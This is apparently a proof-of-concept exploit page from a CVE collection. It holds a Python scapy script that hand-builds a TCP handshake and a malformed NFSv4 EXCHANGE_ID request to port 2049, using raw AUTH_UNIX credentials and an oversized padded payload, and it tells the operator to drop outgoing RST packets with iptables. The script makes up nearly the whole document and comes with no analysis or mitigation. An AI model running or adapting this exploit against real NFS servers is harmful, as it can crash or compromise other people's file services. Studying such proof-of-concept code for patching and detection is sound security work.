4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/bin/python3
from scapy.all import *
from scapy.contrib.nfs import *
from scapy.contrib.oncrpc import *
import time
import random

def tcp_handshake(client_ip, server_ip, server_port=2049, iface="eth0"):
    ip = IP(src=client_ip, dst=server_ip)
    sport = random.randint(1024, 65535)
    syn = ip / TCP(sport=sport, dport=server_port, flags="S", seq=random.randint(0, 0xffffffff))
    syn_ack = sr1(syn, timeout=2, verbose=False)
    if not syn_ack or not syn_ack.haslayer(TCP) or syn_ack[TCP].flags != "SA":
        raise Exception("SYN-ACK not received or invalid")
    ack = ip / TCP(sport=sport, dport=server_port, flags="A", seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq + 1)
    r = send(ack, verbose=False)
    print("TCP handshake completed")
    return sport, syn_ack[TCP].ack, syn_ack[TCP].seq + 1

def construct_exchangeid_packet(client_ip, server_ip, sport, seq, ack, iface="eth0"):
    ip = IP(src=client_ip, dst=server_ip)
    tcp = TCP(sport=sport, dport=2049, flags="PA", seq=seq, ack=ack)

    auth_unix_cred = Auth_Unix(
        stamp=0x00000000,
        mname=Object_Name(), # Will set mname using .set() below
        uid=0,
        gid=0,
        num_auxgids=0, # No auxiliary GIDs
        # auxgids list is empty by default when num_auxgids is 0
    )
    auth_unix_cred.mname.set(name=b"arch") # Set machine name
    auth_unix_cred = Raw(
        b"\x00\x00\x00\x01" +
        b"\x00\xff\xff\xff" +
        b"\x00\x00\x00\x00" +
        b"\x00\x00\x00\x04" +
        b"\x61\x72\x63\x68" +
        b"\x00\x00\x00\x00" +
        b"\x00\x00\x00\x00" +
        b"\x00\x00\x00\x00"
    )

    rpc_header = RPC(
        xid=0xddd0f2f6, # From Frame 8
        mtype=0         # Message Type: Call
    )

    rpc_call = RPC_Call(
        version=2,      # RPC Version
        program=100003, # Program: NFS
        pversion=4,     # Program Version: 4
        procedure=1,    # Procedure: COMPOUND
        aflavor=1,      # Credentials Flavor: AUTH_UNIX
        a_unix=auth_unix_cred,
        vflavor=0       # Verifier Flavor: AUTH_NULL
    )

    # NFSv4 EXCHANGE_ID data
    nfs_exchangeid = Raw(
        b"\x00\x00\x00\x00" +
        b"\x00\x00\x00\x02" +
        b"\x00\x00\x00\x01" +
        b"\x00\x00\x00\x2a" +
        b"\x66" * (0xb0-16)
    )

    packet = ip / tcp / RM_Header() / rpc_header / rpc_call / nfs_exchangeid
    del packet[TCP].chksum
    packet = packet.__class__(bytes(packet))
    return packet, seq + len(bytes(RM_Header()) + bytes(rpc_header) + bytes(rpc_call) + bytes(nfs_exchangeid)), ack

def main():
    # change these IPs and iface as needed
    client_ip = "192.168.121.1"
    server_ip = "192.168.121.2"
    iface = "br0"

    print("Starting TCP handshake and NFSv4 packet sending...")
    try:
        sport, seq, ack = tcp_handshake(client_ip, server_ip, 2049, iface)

        exchangeid_packet, seq, ack = construct_exchangeid_packet(client_ip, server_ip, sport, seq, ack, iface)

        send(exchangeid_packet, verbose=False)

    except Exception as e:
        print(f"Error: {e}")


if __name__ == "__main__":
    print("======== EXECUTE THIS COMMAND BEFORE RUNNING THE SCRIPT ========")
    print("iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP")
    print("================================================================")
    main()
    print("NFSv4 packet sending completed.")